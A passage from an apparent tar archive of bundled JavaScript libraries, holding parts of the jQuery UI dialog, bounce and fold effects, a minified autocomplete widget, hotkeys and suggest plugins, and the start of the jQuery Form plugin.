(#9312) this.uiDialogTitlebarClose = $( "<button type='button'></button>" ) .button( { label: $( "<a>" ).text( this.options.closeText ).html(), icon: "ui-icon-closethick", showLabel: false } ) .appendTo( this.uiDialogTitlebar ); this._addClass( this.uiDialogTitlebarClose, "ui-dialog-titlebar-close" ); this._on( this.uiDialogTitlebarClose, { click: function( event ) { event.preventDefault(); this.close( event ); } } ); uiDialogTitle = $( "<span>" ).uniqueId().prependTo( this.uiDialogTitlebar ); this._addClass( uiDialogTitle, "ui-dialog-title" ); this._title( uiDialogTitle ); this.uiDialogTitlebar.prependTo( this.uiDialog ); this.uiDialog.attr( { "aria-labelledby": uiDialogTitle.attr( "id" ) } ); }, _title: function( title ) { if ( this.options.title ) { title.text( this.options.title ); } else { title.html( " " ); } }, _createButtonPane: function() { this.uiDialogButtonPane = $( "<div>" ); this._addClass( this.uiDialogButtonPane, "ui-dialog-buttonpane", "ui-widget-content ui-helper-clearfix" ); this.uiButtonSet = $( "<div>" ) .appendTo( this.uiDialogButtonPane ); this._addClass( this.uiButtonSet, "ui-dialog-buttonset" ); this._createButtons(); }, _createButtons: function() { var that = this, buttons = this.options.buttons; // If we already have a button pane, remove it this.uiDialogButtonPane.remove(); this.uiButtonSet.empty(); if ( $.isEmptyObject( buttons ) || ( Array.isArray( buttons ) && !buttons.length ) ) { this._removeClass( this.uiDialog, "ui-dialog-buttons" ); return; } $.each( buttons, function( name, props ) { var click, buttonOptions; props = typeof props === "function" ? { click: props, text: name } : props; // Default to a non-submitting button props = $.extend( { type: "button" }, props ); // Change the context for the click callback to be the main element click = props.click; buttonOptions = { icon: props.icon, iconPosition: props.iconPosition, showLabel: props.showLabel, // Deprecated options icons: props.icons, text: props.text }; delete props.click; delete props.icon; delete props.iconPosition; delete props.showLabel; // Deprecated options delete props.icons; if ( typeof props.text === "boolean" ) { delete props.text; } $( "<button></button>", props ) .button( buttonOptions ) .appendTo( that.uiButtonSet ) .on( "click", function() { click.apply( that.element[ 0 ], arguments ); } ); } ); this._addClass( this.uiDialog, "ui-dialog-buttons" ); this.uiDialogButtonPane.appendTo( this.uiDialog ); }, _makeDraggable: function() { var that = this, options = this.options; function filteredUi( ui ) { return { position: ui.position, offset: ui.offset }; } this.uiDialog.draggable( { cancel: ".ui-dialog-content, .ui-dialog-titlebar-close", handle: ".ui-dialog-titlebar", containment: "document", start: function( event, ui ) { that._addClass( $( this ), "ui-dialog-dragging" ); that._blockFrames(); that._trigger( "dragStart", event, filteredUi( ui ) ); }, drag: function( event, ui ) { that._trigger( "drag", event, filteredUi( ui ) ); }, stop: function( event, ui ) { var left = ui.offset.left - that.document.scrollLeft(), top = ui.offset.top - that.document.scrollTop(); options.position = { my: "left top", at: "left" + ( left >= 0 ? "+" : "" ) + left + " " + "top" + ( top >= 0 ? "+" : "" ) + top, of: that.window }; that._removeClass( $( this ), "ui-dialog-dragging" ); that._unblockFrames(); that._trigger( "dragStop", event, filteredUi( ui ) ); } } ); }, _makeResizable: function() { var that = this, options = this.options, handles = options.resizable, // .ui-resizable has position: relative defined in the stylesheet // but dialogs have to use absolute or fixed positioning position = this.uiDialog.css( "position" ), resizeHandles = typeof handles === "string" ? handles : "n,e,s,w,se,sw,ne,nw"; function filteredUi( ui ) { return { originalPosition: ui.originalPosition, originalSize: ui.originalSize, position: ui.position, size: ui.size }; } this.uiDialog.resizable( { cancel: ".ui-dialog-content", containment: "document", alsoResize: this.element, maxWidth: options.maxWidth, maxHeight: options.maxHeight, minWidth: options.minWidth, minHeight: this._minHeight(), handles: resizeHandles, start: function( event, ui ) { that._addClass( $( this ), "ui-dialog-resizing" ); that._blockFrames(); that._trigger( "resizeStart", event, filteredUi( ui ) ); }, resize: function( event, ui ) { that._trigger( "resize", event, filteredUi( ui ) ); }, stop: function( event, ui ) { var offset = that.uiDialog.offset(), left = offset.left - that.document.scrollLeft(), top = offset.top - that.document.scrollTop(); options.height = that.uiDialog.height(); options.width = that.uiDialog.width(); options.position = { my: "left top", at: "left" + ( left >= 0 ? "+" : "" ) + left + " " + "top" + ( top >= 0 ? "+" : "" ) + top, of: that.window }; that._removeClass( $( this ), "ui-dialog-resizing" ); that._unblockFrames(); that._trigger( "resizeStop", event, filteredUi( ui ) ); } } ) .css( "position", position ); }, _trackFocus: function() { this._on( this.widget(), { focusin: function( event ) { this._makeFocusTarget(); this._focusedElement = $( event.target ); } } ); }, _makeFocusTarget: function() { this._untrackInstance(); this._trackingInstances().unshift( this ); }, _untrackInstance: function() { var instances = this._trackingInstances(), exists = $.inArray( this, instances ); if ( exists !== -1 ) { instances.splice( exists, 1 ); } }, _trackingInstances: function() { var instances = this.document.data( "ui-dialog-instances" ); if ( !instances ) { instances = []; this.document.data( "ui-dialog-instances", instances ); } return instances; }, _minHeight: function() { var options = this.options; return options.height === "auto" ? options.minHeight : Math.min( options.minHeight, options.height ); }, _position: function() { // Need to show the dialog to get the actual offset in the position plugin var isVisible = this.uiDialog.is( ":visible" ); if ( !isVisible ) { this.uiDialog.show(); } this.uiDialog.position( this.options.position ); if ( !isVisible ) { this.uiDialog.hide(); } }, _setOptions: function( options ) { var that = this, resize = false, resizableOptions = {}; $.each( options, function( key, value ) { that._setOption( key, value ); if ( key in that.sizeRelatedOptions ) { resize = true; } if ( key in that.resizableRelatedOptions ) { resizableOptions[ key ] = value; } } ); if ( resize ) { this._size(); this._position(); } if ( this.uiDialog.is( ":data(ui-resizable)" ) ) { this.uiDialog.resizable( "option", resizableOptions ); } }, _setOption: function( key, value ) { var isDraggable, isResizable, uiDialog = this.uiDialog; if ( key === "disabled" ) { return; } this._super( key, value ); if ( key === "appendTo" ) { this.uiDialog.appendTo( this._appendTo() ); } if ( key === "buttons" ) { this._createButtons(); } if ( key === "closeText" ) { this.uiDialogTitlebarClose.button( { // Ensure that we always pass a string label: $( "<a>" ).text( "" + this.options.closeText ).html() } ); } if ( key === "draggable" ) { isDraggable = uiDialog.is( ":data(ui-draggable)" ); if ( isDraggable && !value ) { uiDialog.draggable( "destroy" ); } if ( !isDraggable && value ) { this._makeDraggable(); } } if ( key === "position" ) { this._position(); } if ( key === "resizable" ) { // currently resizable, becoming non-resizable isResizable = uiDialog.is( ":data(ui-resizable)" ); if ( isResizable && !value ) { uiDialog.resizable( "destroy" ); } // Currently resizable, changing handles if ( isResizable && typeof value === "string" ) { uiDialog.resizable( "option", "handles", value ); } // Currently non-resizable, becoming resizable if ( !isResizable && value !== false ) { this._makeResizable(); } } if ( key === "title" ) { this._title( this.uiDialogTitlebar.find( ".ui-dialog-title" ) ); } }, _size: function() { // If the user has resized the dialog, the .ui-dialog and .ui-dialog-content // divs will both have width and height set, so we need to reset them var nonContentHeight, minContentHeight, maxContentHeight, options = this.options; // Reset content sizing this.element.show().css( { width: "auto", minHeight: 0, maxHeight: "none", height: 0 } ); if ( options.minWidth > options.width ) { options.width = options.minWidth; } // Reset wrapper sizing // determine the height of all the non-content elements nonContentHeight = this.uiDialog.css( { height: "auto", width: options.width } ) .outerHeight(); minContentHeight = Math.max( 0, options.minHeight - nonContentHeight ); maxContentHeight = typeof options.maxHeight === "number" ? Math.max( 0, options.maxHeight - nonContentHeight ) : "none"; if ( options.height === "auto" ) { this.element.css( { minHeight: minContentHeight, maxHeight: maxContentHeight, height: "auto" } ); } else { this.element.height( Math.max( 0, options.height - nonContentHeight ) ); } if ( this.uiDialog.is( ":data(ui-resizable)" ) ) { this.uiDialog.resizable( "option", "minHeight", this._minHeight() ); } }, _blockFrames: function() { this.iframeBlocks = this.document.find( "iframe" ).map( function() { var iframe = $( this ); return $( "<div>" ) .css( { position: "absolute", width: iframe.outerWidth(), height: iframe.outerHeight() } ) .appendTo( iframe.parent() ) .offset( iframe.offset() )[ 0 ]; } ); }, _unblockFrames: function() { if ( this.iframeBlocks ) { this.iframeBlocks.remove(); delete this.iframeBlocks; } }, _allowInteraction: function( event ) { if ( $( event.target ).closest( ".ui-dialog" ).length ) { return true; } // TODO: Remove hack when datepicker implements // the .ui-front logic (#8989) return !!$( event.target ).closest( ".ui-datepicker" ).length; }, _createOverlay: function() { if ( !this.options.modal ) { return; } var jqMinor = $.fn.jquery.substring( 0, 4 ); // We use a delay in case the overlay is created from an // event that we're going to be cancelling (#2804) var isOpening = true; this._delay( function() { isOpening = false; } ); if ( !this.document.data( "ui-dialog-overlays" ) ) { // Prevent use of anchors and inputs // This doesn't use `_on()` because it is a shared event handler // across all open modal dialogs. this.document.on( "focusin.ui-dialog", function( event ) { if ( isOpening ) { return; } var instance = this._trackingInstances()[ 0 ]; if ( !instance._allowInteraction( event ) ) { event.preventDefault(); instance._focusTabbable(); // Support: jQuery >=3.4 <3.7 only // In jQuery 3.4-3.6, there are multiple issues with focus/blur // trigger chains or when triggering is done on a hidden element // at least once. // Trigger focus in a delay in addition if needed to avoid the issues. // See https://github.com/jquery/jquery/issues/4382 // See https://github.com/jquery/jquery/issues/4856 // See https://github.com/jquery/jquery/issues/4950 if ( jqMinor === "3.4." || jqMinor === "3.5." || jqMinor === "3.6." ) { instance._delay( instance._restoreTabbableFocus ); } } }.bind( this ) ); } this.overlay = $( "<div>" ) .appendTo( this._appendTo() ); this._addClass( this.overlay, null, "ui-widget-overlay ui-front" ); this._on( this.overlay, { mousedown: "_keepFocus" } ); this.document.data( "ui-dialog-overlays", ( this.document.data( "ui-dialog-overlays" ) || 0 ) + 1 ); }, _destroyOverlay: function() { if ( !this.options.modal ) { return; } if ( this.overlay ) { var overlays = this.document.data( "ui-dialog-overlays" ) - 1; if ( !overlays ) { this.document.off( "focusin.ui-dialog" ); this.document.removeData( "ui-dialog-overlays" ); } else { this.document.data( "ui-dialog-overlays", overlays ); } this.overlay.remove(); this.overlay = null; } } } ); // DEPRECATED // TODO: switch return back to widget declaration at top of file when this is removed if ( $.uiBackCompat !== false ) { // Backcompat for dialogClass option $.widget( "ui.dialog", $.ui.dialog, { options: { dialogClass: "" }, _createWrapper: function() { this._super(); this.uiDialog.addClass( this.options.dialogClass ); }, _setOption: function( key, value ) { if ( key === "dialogClass" ) { this.uiDialog .removeClass( this.options.dialogClass ) .addClass( value ); } this._superApply( arguments ); } } ); } return $.ui.dialog; } ); jquery/ui/effect-bounce.js 0000644 00000005144 15111757755 0011565 0 ustar 00 /*! * jQuery UI Effects Bounce 1.13.3 * https://jqueryui.com * * Copyright OpenJS Foundation and other contributors * Released under the MIT license. * https://jquery.org/license */ //>>label: Bounce Effect //>>group: Effects //>>description: Bounces an element horizontally or vertically n times. //>>docs: https://api.jqueryui.com/bounce-effect/ //>>demos: https://jqueryui.com/effect/ ( function( factory ) { "use strict"; if ( typeof define === "function" && define.amd ) { // AMD. Register as an anonymous module. define( [ "jquery", "../version", "../effect" ], factory ); } else { // Browser globals factory( jQuery ); } } )( function( $ ) { "use strict"; return $.effects.define( "bounce", function( options, done ) { var upAnim, downAnim, refValue, element = $( this ), // Defaults: mode = options.mode, hide = mode === "hide", show = mode === "show", direction = options.direction || "up", distance = options.distance, times = options.times || 5, // Number of internal animations anims = times * 2 + ( show || hide ? 1 : 0 ), speed = options.duration / anims, easing = options.easing, // Utility: ref = ( direction === "up" || direction === "down" ) ? "top" : "left", motion = ( direction === "up" || direction === "left" ), i = 0, queuelen = element.queue().length; $.effects.createPlaceholder( element ); refValue = element.css( ref ); // Default distance for the BIGGEST bounce is the outer Distance / 3 if ( !distance ) { distance = element[ ref === "top" ? "outerHeight" : "outerWidth" ]() / 3; } if ( show ) { downAnim = { opacity: 1 }; downAnim[ ref ] = refValue; // If we are showing, force opacity 0 and set the initial position // then do the "first" animation element .css( "opacity", 0 ) .css( ref, motion ? -distance * 2 : distance * 2 ) .animate( downAnim, speed, easing ); } // Start at the smallest distance if we are hiding if ( hide ) { distance = distance / Math.pow( 2, times - 1 ); } downAnim = {}; downAnim[ ref ] = refValue; // Bounces up/down/left/right then back to 0 -- times * 2 animations happen here for ( ; i < times; i++ ) { upAnim = {}; upAnim[ ref ] = ( motion ? "-=" : "+=" ) + distance; element .animate( upAnim, speed, easing ) .animate( downAnim, speed, easing ); distance = hide ? distance * 2 : distance / 2; } // Last Bounce when Hiding if ( hide ) { upAnim = { opacity: 0 }; upAnim[ ref ] = ( motion ? "-=" : "+=" ) + distance; element.animate( upAnim, speed, easing ); } element.queue( done ); $.effects.unshift( element, queuelen, anims + 1 ); } ); } ); jquery/ui/effect-fold.js 0000644 00000004211 15111757755 0011230 0 ustar 00 /*! * jQuery UI Effects Fold 1.13.3 * https://jqueryui.com * * Copyright OpenJS Foundation and other contributors * Released under the MIT license. * https://jquery.org/license */ //>>label: Fold Effect //>>group: Effects //>>description: Folds an element first horizontally and then vertically. //>>docs: https://api.jqueryui.com/fold-effect/ //>>demos: https://jqueryui.com/effect/ ( function( factory ) { "use strict"; if ( typeof define === "function" && define.amd ) { // AMD. Register as an anonymous module. define( [ "jquery", "../version", "../effect" ], factory ); } else { // Browser globals factory( jQuery ); } } )( function( $ ) { "use strict"; return $.effects.define( "fold", "hide", function( options, done ) { // Create element var element = $( this ), mode = options.mode, show = mode === "show", hide = mode === "hide", size = options.size || 15, percent = /([0-9]+)%/.exec( size ), horizFirst = !!options.horizFirst, ref = horizFirst ? [ "right", "bottom" ] : [ "bottom", "right" ], duration = options.duration / 2, placeholder = $.effects.createPlaceholder( element ), start = element.cssClip(), animation1 = { clip: $.extend( {}, start ) }, animation2 = { clip: $.extend( {}, start ) }, distance = [ start[ ref[ 0 ] ], start[ ref[ 1 ] ] ], queuelen = element.queue().length; if ( percent ) { size = parseInt( percent[ 1 ], 10 ) / 100 * distance[ hide ? 0 : 1 ]; } animation1.clip[ ref[ 0 ] ] = size; animation2.clip[ ref[ 0 ] ] = size; animation2.clip[ ref[ 1 ] ] = 0; if ( show ) { element.cssClip( animation2.clip ); if ( placeholder ) { placeholder.css( $.effects.clipToBox( animation2 ) ); } animation2.clip = start; } // Animate element .queue( function( next ) { if ( placeholder ) { placeholder .animate( $.effects.clipToBox( animation1 ), duration, options.easing ) .animate( $.effects.clipToBox( animation2 ), duration, options.easing ); } next(); } ) .animate( animation1, duration, options.easing ) .animate( animation2, duration, options.easing ) .queue( done ); $.effects.unshift( element, queuelen, 4 ); } ); } ); jquery/ui/autocomplete.min.js 0000644 00000020530 15111757755 0012337 0 ustar 00 /*! * jQuery UI Autocomplete 1.13.3 * https://jqueryui.com * * Copyright OpenJS Foundation and other contributors * Released under the MIT license. * https://jquery.org/license */ !function(e){"use strict";"function"==typeof define&&define.amd?define(["jquery","./menu","../keycode","../position","../safe-active-element","../version","../widget"],e):e(jQuery)}(function(o){"use strict";return o.widget("ui.autocomplete",{version:"1.13.3",defaultElement:"<input>",options:{appendTo:null,autoFocus:!1,delay:300,minLength:1,position:{my:"left top",at:"left bottom",collision:"none"},source:null,change:null,close:null,focus:null,open:null,response:null,search:null,select:null},requestIndex:0,pending:0,liveRegionTimer:null,_create:function(){var i,s,n,e=this.element[0].nodeName.toLowerCase(),t="textarea"===e,e="input"===e;this.isMultiLine=t||!e&&this._isContentEditable(this.element),this.valueMethod=this.element[t||e?"val":"text"],this.isNewMenu=!0,this._addClass("ui-autocomplete-input"),this.element.attr("autocomplete","off"),this._on(this.element,{keydown:function(e){if(this.element.prop("readOnly"))s=n=i=!0;else{s=n=i=!1;var t=o.ui.keyCode;switch(e.keyCode){case t.PAGE_UP:i=!0,this._move("previousPage",e);break;case t.PAGE_DOWN:i=!0,this._move("nextPage",e);break;case t.UP:i=!0,this._keyEvent("previous",e);break;case t.DOWN:i=!0,this._keyEvent("next",e);break;case t.ENTER:this.menu.active&&(i=!0,e.preventDefault(),this.menu.select(e));break;case t.TAB:this.menu.active&&this.menu.select(e);break;case t.ESCAPE:this.menu.element.is(":visible")&&(this.isMultiLine||this._value(this.term),this.close(e),e.preventDefault());break;default:s=!0,this._searchTimeout(e)}}},keypress:function(e){if(i)i=!1,this.isMultiLine&&!this.menu.element.is(":visible")||e.preventDefault();else if(!s){var t=o.ui.keyCode;switch(e.keyCode){case t.PAGE_UP:this._move("previousPage",e);break;case t.PAGE_DOWN:this._move("nextPage",e);break;case t.UP:this._keyEvent("previous",e);break;case t.DOWN:this._keyEvent("next",e)}}},input:function(e){n?(n=!1,e.preventDefault()):this._searchTimeout(e)},focus:function(){this.selectedItem=null,this.previous=this._value()},blur:function(e){clearTimeout(this.searching),this.close(e),this._change(e)}}),this._initSource(),this.menu=o("<ul>").appendTo(this._appendTo()).menu({role:null}).hide().attr({unselectable:"on"}).menu("instance"),this._addClass(this.menu.element,"ui-autocomplete","ui-front"),this._on(this.menu.element,{mousedown:function(e){e.preventDefault()},menufocus:function(e,t){var i,s;this.isNewMenu&&(this.isNewMenu=!1,e.originalEvent)&&/^mouse/.test(e.originalEvent.type)?(this.menu.blur(),this.document.one("mousemove",function(){o(e.target).trigger(e.originalEvent)})):(s=t.item.data("ui-autocomplete-item"),!1!==this._trigger("focus",e,{item:s})&&e.originalEvent&&/^key/.test(e.originalEvent.type)&&this._value(s.value),(i=t.item.attr("aria-label")||s.value)&&String.prototype.trim.call(i).length&&(clearTimeout(this.liveRegionTimer),this.liveRegionTimer=this._delay(function(){this.liveRegion.html(o("<div>").text(i))},100)))},menuselect:function(e,t){var i=t.item.data("ui-autocomplete-item"),s=this.previous;this.element[0]!==o.ui.safeActiveElement(this.document[0])&&(this.element.trigger("focus"),this.previous=s,this._delay(function(){this.previous=s,this.selectedItem=i})),!1!==this._trigger("select",e,{item:i})&&this._value(i.value),this.term=this._value(),this.close(e),this.selectedItem=i}}),this.liveRegion=o("<div>",{role:"status","aria-live":"assertive","aria-relevant":"additions"}).appendTo(this.document[0].body),this._addClass(this.liveRegion,null,"ui-helper-hidden-accessible"),this._on(this.window,{beforeunload:function(){this.element.removeAttr("autocomplete")}})},_destroy:function(){clearTimeout(this.searching),this.element.removeAttr("autocomplete"),this.menu.element.remove(),this.liveRegion.remove()},_setOption:function(e,t){this._super(e,t),"source"===e&&this._initSource(),"appendTo"===e&&this.menu.element.appendTo(this._appendTo()),"disabled"===e&&t&&this.xhr&&this.xhr.abort()},_isEventTargetInWidget:function(e){var t=this.menu.element[0];return e.target===this.element[0]||e.target===t||o.contains(t,e.target)},_closeOnClickOutside:function(e){this._isEventTargetInWidget(e)||this.close()},_appendTo:function(){var e=this.options.appendTo;return e=(e=(e=e&&(e.jquery||e.nodeType?o(e):this.document.find(e).eq(0)))&&e[0]?e:this.element.closest(".ui-front, dialog")).length?e:this.document[0].body},_initSource:function(){var i,s,n=this;Array.isArray(this.options.source)?(i=this.options.source,this.source=function(e,t){t(o.ui.autocomplete.filter(i,e.term))}):"string"==typeof this.options.source?(s=this.options.source,this.source=function(e,t){n.xhr&&n.xhr.abort(),n.xhr=o.ajax({url:s,data:e,dataType:"json",success:function(e){t(e)},error:function(){t([])}})}):this.source=this.options.source},_searchTimeout:function(s){clearTimeout(this.searching),this.searching=this._delay(function(){var e=this.term===this._value(),t=this.menu.element.is(":visible"),i=s.altKey||s.ctrlKey||s.metaKey||s.shiftKey;e&&(t||i)||(this.selectedItem=null,this.search(null,s))},this.options.delay)},search:function(e,t){return e=null!=e?e:this._value(),this.term=this._value(),e.length<this.options.minLength?this.close(t):!1!==this._trigger("search",t)?this._search(e):void 0},_search:function(e){this.pending++,this._addClass("ui-autocomplete-loading"),this.cancelSearch=!1,this.source({term:e},this._response())},_response:function(){var t=++this.requestIndex;return function(e){t===this.requestIndex&&this.__response(e),this.pending--,this.pending||this._removeClass("ui-autocomplete-loading")}.bind(this)},__response:function(e){e=e&&this._normalize(e),this._trigger("response",null,{content:e}),!this.options.disabled&&e&&e.length&&!this.cancelSearch?(this._suggest(e),this._trigger("open")):this._close()},close:function(e){this.cancelSearch=!0,this._close(e)},_close:function(e){this._off(this.document,"mousedown"),this.menu.element.is(":visible")&&(this.menu.element.hide(),this.menu.blur(),this.isNewMenu=!0,this._trigger("close",e))},_change:function(e){this.previous!==this._value()&&this._trigger("change",e,{item:this.selectedItem})},_normalize:function(e){return e.length&&e[0].label&&e[0].value?e:o.map(e,function(e){return"string"==typeof e?{label:e,value:e}:o.extend({},e,{label:e.label||e.value,value:e.value||e.label})})},_suggest:function(e){var t=this.menu.element.empty();this._renderMenu(t,e),this.isNewMenu=!0,this.menu.refresh(),t.show(),this._resizeMenu(),t.position(o.extend({of:this.element},this.options.position)),this.options.autoFocus&&this.menu.next(),this._on(this.document,{mousedown:"_closeOnClickOutside"})},_resizeMenu:function(){var e=this.menu.element;e.outerWidth(Math.max(e.width("").outerWidth()+1,this.element.outerWidth()))},_renderMenu:function(i,e){var s=this;o.each(e,function(e,t){s._renderItemData(i,t)})},_renderItemData:function(e,t){return this._renderItem(e,t).data("ui-autocomplete-item",t)},_renderItem:function(e,t){return o("<li>").append(o("<div>").text(t.label)).appendTo(e)},_move:function(e,t){this.menu.element.is(":visible")?this.menu.isFirstItem()&&/^previous/.test(e)||this.menu.isLastItem()&&/^next/.test(e)?(this.isMultiLine||this._value(this.term),this.menu.blur()):this.menu[e](t):this.search(null,t)},widget:function(){return this.menu.element},_value:function(){return this.valueMethod.apply(this.element,arguments)},_keyEvent:function(e,t){this.isMultiLine&&!this.menu.element.is(":visible")||(this._move(e,t),t.preventDefault())},_isContentEditable:function(e){var t;return!!e.length&&("inherit"===(t=e.prop("contentEditable"))?this._isContentEditable(e.parent()):"true"===t)}}),o.extend(o.ui.autocomplete,{escapeRegex:function(e){return e.replace(/[\-\[\]{}()*+?.,\\\^$|#\s]/g,"\\$&")},filter:function(e,t){var i=new RegExp(o.ui.autocomplete.escapeRegex(t),"i");return o.grep(e,function(e){return i.test(e.label||e.value||e)})}}),o.widget("ui.autocomplete",o.ui.autocomplete,{options:{messages:{noResults:"No search results.",results:function(e){return e+(1<e?" results are":" result is")+" available, use up and down arrow keys to navigate."}}},__response:function(e){var t;this._superApply(arguments),this.options.disabled||this.cancelSearch||(t=e&&e.length?this.options.messages.results(e.length):this.options.messages.noResults,clearTimeout(this.liveRegionTimer),this.liveRegionTimer=this._delay(function(){this.liveRegion.html(o("<div>").text(t))},100))}}),o.ui.autocomplete}); jquery/jquery.hotkeys.min.js 0000644 00000003401 15111757755 0012223 0 ustar 00 (function(a){this.version="(beta)(0.0.3)";this.all={};this.special_keys={27:"esc",9:"tab",32:"space",13:"return",8:"backspace",145:"scroll",20:"capslock",144:"numlock",19:"pause",45:"insert",36:"home",46:"del",35:"end",33:"pageup",34:"pagedown",37:"left",38:"up",39:"right",40:"down",112:"f1",113:"f2",114:"f3",115:"f4",116:"f5",117:"f6",118:"f7",119:"f8",120:"f9",121:"f10",122:"f11",123:"f12"};this.shift_nums={"`":"~","1":"!","2":"@","3":"#","4":"$","5":"%","6":"^","7":"&","8":"*","9":"(","0":")","-":"_","=":"+",";":":","'":'"',",":"<",".":">","/":"?","\\":"|"};this.add=function(c,b,h){if(a.isFunction(b)){h=b;b={}}var d={},f={type:"keydown",propagate:false,disableInInput:false,target:a("html")[0]},e=this;d=a.extend(d,f,b||{});c=c.toLowerCase();var g=function(j){var o=j.target;if(d.disableInInput){var s=a(o);if(s.is("input")||s.is("textarea")){return}}var l=j.which,u=j.type,r=String.fromCharCode(l).toLowerCase(),t=e.special_keys[l],m=j.shiftKey,i=j.ctrlKey,p=j.altKey,w=j.metaKey,q=true,k=null;while(!e.all[o]&&o.parentNode){o=o.parentNode}var v=e.all[o].events[u].callbackMap;if(!m&&!i&&!p&&!w){k=v[t]||v[r]}else{var n="";if(p){n+="alt+"}if(i){n+="ctrl+"}if(m){n+="shift+"}if(w){n+="meta+"}k=v[n+t]||v[n+r]||v[n+e.shift_nums[r]]}if(k){k.cb(j);if(!k.propagate){j.stopPropagation();j.preventDefault();return false}}};if(!this.all[d.target]){this.all[d.target]={events:{}}}if(!this.all[d.target].events[d.type]){this.all[d.target].events[d.type]={callbackMap:{}};a.event.add(d.target,d.type,g)}this.all[d.target].events[d.type].callbackMap[c]={cb:h,propagate:d.propagate};return a};this.remove=function(c,b){b=b||{};target=b.target||a("html")[0];type=b.type||"keydown";c=c.toLowerCase();delete this.all[target].events[type].callbackMap[c];return a};a.hotkeys=this;return a})(jQuery); jquery/suggest.min.js 0000644 00000005661 15111757755 0010712 0 ustar 00 !function(a){a.suggest=function(b,c){function d(){var a=o.offset();p.css({top:a.top+b.offsetHeight+"px",left:a.left+"px"})}function e(a){if(/27$|38$|40$/.test(a.keyCode)&&p.is(":visible")||/^13$|^9$/.test(a.keyCode)&&k())switch(a.preventDefault&&a.preventDefault(),a.stopPropagation&&a.stopPropagation(),a.cancelBubble=!0,a.returnValue=!1,a.keyCode){case 38:n();break;case 40:m();break;case 9:case 13:l();break;case 27:p.hide()}else o.val().length!=r&&(q&&clearTimeout(q),q=setTimeout(f,c.delay),r=o.val().length)}function f(){var b,d,e=a.trim(o.val());c.multiple&&(b=e.lastIndexOf(c.multipleSep),-1!=b&&(e=a.trim(e.substr(b+c.multipleSep.length)))),e.length>=c.minchars?(cached=g(e),cached?i(cached.items):a.get(c.source,{q:e},function(a){p.hide(),d=j(a,e),i(d),h(e,d,a.length)})):p.hide()}function g(a){var b;for(b=0;b<s.length;b++)if(s[b].q==a)return s.unshift(s.splice(b,1)[0]),s[0];return!1}function h(a,b,d){for(var e;s.length&&t+d>c.maxCacheSize;)e=s.pop(),t-=e.size;s.push({q:a,size:d,items:b}),t+=d}function i(b){var e,f="";if(b){if(!b.length)return void p.hide();for(d(),e=0;e<b.length;e++)f+="<li>"+b[e]+"</li>";p.html(f).show(),p.children("li").mouseover(function(){p.children("li").removeClass(c.selectClass),a(this).addClass(c.selectClass)}).click(function(a){a.preventDefault(),a.stopPropagation(),l()})}}function j(b,d){var e,f,g=[],h=b.split(c.delimiter);for(e=0;e<h.length;e++)f=a.trim(h[e]),f&&(f=f.replace(new RegExp(d,"ig"),function(a){return'<span class="'+c.matchClass+'">'+a+"</span>"}),g[g.length]=f);return g}function k(){var a;return p.is(":visible")?(a=p.children("li."+c.selectClass),a.length||(a=!1),a):!1}function l(){$currentResult=k(),$currentResult&&(c.multiple?(-1!=o.val().indexOf(c.multipleSep)?$currentVal=o.val().substr(0,o.val().lastIndexOf(c.multipleSep)+c.multipleSep.length)+" ":$currentVal="",o.val($currentVal+$currentResult.text()+c.multipleSep+" "),o.focus()):o.val($currentResult.text()),p.hide(),o.trigger("change"),c.onSelect&&c.onSelect.apply(o[0]))}function m(){$currentResult=k(),$currentResult?$currentResult.removeClass(c.selectClass).next().addClass(c.selectClass):p.children("li:first-child").addClass(c.selectClass)}function n(){var a=k();a?a.removeClass(c.selectClass).prev().addClass(c.selectClass):p.children("li:last-child").addClass(c.selectClass)}var o,p,q,r,s,t;o=a(b).attr("autocomplete","off"),p=a("<ul/>"),q=!1,r=0,s=[],t=0,p.addClass(c.resultsClass).appendTo("body"),d(),a(window).on("load",d).on("resize",d),o.blur(function(){setTimeout(function(){p.hide()},200)}),o.keydown(e)},a.fn.suggest=function(b,c){return b?(c=c||{},c.multiple=c.multiple||!1,c.multipleSep=c.multipleSep||",",c.source=b,c.delay=c.delay||100,c.resultsClass=c.resultsClass||"ac_results",c.selectClass=c.selectClass||"ac_over",c.matchClass=c.matchClass||"ac_match",c.minchars=c.minchars||2,c.delimiter=c.delimiter||"\n",c.onSelect=c.onSelect||!1,c.maxCacheSize=c.maxCacheSize||65536,this.each(function(){new a.suggest(this,c)}),this):void 0}}(jQuery); jquery/jquery.form.min.js 0000644 00000037151 15111757755 0011511 0 ustar 00 !function(a){"function"==typeof define&&define.amd?define(["jquery"],a):"object"==typeof module&&module.exports?module.exports=function(e,t){return void 0===t&&(t="undefined"!=typeof window?require("jquery"):require("jquery")(e)),a(t),t}:a(jQuery)}(function(O){"use strict";var d=/\r?\n/g,h={},X=(h.fileapi=void 0!==O('<input type="file">').get(0).files,h.formdata=void 0!==window.FormData,!!O.fn.prop);function o(e){var t=e.data;e.isDefaultPrevented()||(e.preventDefault(),O(e.target).closest("form").ajaxSubmit(t))}function i(e){var t=e.target,a=O(t);if(!a.is("[type=submit],[type=image]")){var r=a.closest("[type=submit]");if(0===r.length)return;t=r[0]}var n=t.form;"image"===(n.clk=t).type&&(void 0!==e.offsetX?(n.clk_x=e.offsetX,n.clk_y=e.offsetY):"function"==typeof O.fn.offset?(r=a.offset(),n.clk_x=e.pageX-r.left,n.clk_y=e.pageY-r.top):(n.clk_x=e.pageX-t.offsetLeft,n.clk_y=e.pageY-t.offsetTop)),setTimeout(function(){n.clk=n.clk_x=n.clk_y=null},100)}function C(){var e;O.fn.ajaxSubmit.debug&&(e="[jquery.form] "+Array.prototype.join.call(arguments,""),window.console&&window.console.log?window.console.log(e):window.opera&&window.opera.postError&&window.opera.postError(e))}O.fn.attr2=function(){var e;return X&&((e=this.prop.apply(this,arguments))&&e.jquery||"string"==typeof e)?e:this.attr.apply(this,arguments)},O.fn.ajaxSubmit=function(F,e,t,a){if(this.length){var E,L=this,e=("function"==typeof F?F={success:F}:"string"==typeof F||!1===F&&0<arguments.length?(F={url:F,data:e,dataType:t},"function"==typeof a&&(F.success=a)):void 0===F&&(F={}),E=F.method||F.type||this.attr2("method"),t=(t=(t="string"==typeof(e=F.url||this.attr2("action"))?O.trim(e):"")||window.location.href||"")&&(t.match(/^([^#]+)/)||[])[1],a=/(MSIE|Trident)/.test(navigator.userAgent||"")&&/^https/i.test(window.location.href||"")?"javascript:false":"about:blank",F=O.extend(!0,{url:t,success:O.ajaxSettings.success,type:E||O.ajaxSettings.type,iframeSrc:a},F),{});if(this.trigger("form-pre-serialize",[this,F,e]),e.veto)C("ajaxSubmit: submit vetoed via form-pre-serialize trigger");else 